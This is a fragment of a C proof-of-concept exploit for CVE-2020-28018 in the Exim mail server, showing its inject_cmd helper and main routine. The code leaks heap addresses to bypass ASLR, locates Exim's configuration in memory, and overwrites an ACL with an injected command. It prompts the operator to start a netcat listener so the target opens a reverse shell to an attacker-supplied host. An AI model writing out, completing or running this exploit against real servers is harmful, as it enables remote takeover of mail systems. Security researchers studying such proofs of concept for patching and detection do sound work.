int inject_cmd(char *hostname, int port, char *attacker_host, int attacker_port) {
|
|
char injected_config[MAX_CONFIG_SZ];
|
|
memset(injected_config, '\0', sizeof(injected_config));
|
|
snprintf(injected_config, sizeof(injected_config)-1, INJECT_CFG, attacker_host, attacker_port);
|
|
return write_what_where(hostname, port, injected_config);
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
int TARGET_PORT = 0, ATTACKER_PORT = 0;
|
|
pthread_t listener_p = 0;
|
|
char TARGET_HOST[MAX_HOST];
|
|
char ATTACKER_HOST[MAX_HOST];
|
|
|
|
memset(TARGET_HOST, '\0', sizeof(TARGET_HOST));
|
|
memset(ATTACKER_HOST, '\0', sizeof(ATTACKER_HOST));
|
|
|
|
puts("[i] CVE-2020-28018 Proof-Of-Concept (PoC) exploit by @lockedbyte");
|
|
|
|
if(argc < 5) {
|
|
printf("[%%] Usage: %s <target host> <target port> <attacker host> <attacker port>\n", argv[0]);
|
|
exit(0);
|
|
}
|
|
|
|
snprintf(TARGET_HOST, sizeof(TARGET_HOST)-1, "%s", argv[1]);
|
|
TARGET_PORT = atoi(argv[2]);
|
|
|
|
snprintf(ATTACKER_HOST, sizeof(ATTACKER_HOST)-1, "%s", argv[3]);
|
|
ATTACKER_PORT = atoi(argv[4]);
|
|
|
|
/* 1. we leak heap pointers to bypass ASLR */
|
|
|
|
puts("[*] Leaking heap addresses...");
|
|
|
|
if(!leak_phase(TARGET_HOST, TARGET_PORT)) {
|
|
puts("[-] Something went wrong on memory leak phase");
|
|
exit(0);
|
|
}
|
|
|
|
if(pause_s)
|
|
pausex();
|
|
|
|
/* 2. we search for exim config for exploit reliability purposes (not a fixed offset) */
|
|
|
|
puts("[*] Searching for Exim configuration in memory...\n");
|
|
|
|
if(!search_config(TARGET_HOST, TARGET_PORT)) {
|
|
puts("[-] Something went wrong on config search phase");
|
|
exit(0);
|
|
}
|
|
|
|
puts("[i] Execute netcat now to listen for reverse shell and press enter...");
|
|
|
|
pausex();
|
|
|
|
/* 3. we corrupt an ACL to run an arbitrary command */
|
|
|
|
puts("[*] Corrupting Exim configuration with a malicious entry...");
|
|
|
|
if(!inject_cmd(TARGET_HOST, TARGET_PORT, ATTACKER_HOST, ATTACKER_PORT)) {
|
|
puts("[-] Something went wrong on config corruption phase");
|
|
exit(0);
|
|
}
|
|
|
|
puts("[+] Exploit completed!");
|
|
|
|
return 0;
|
|
}
|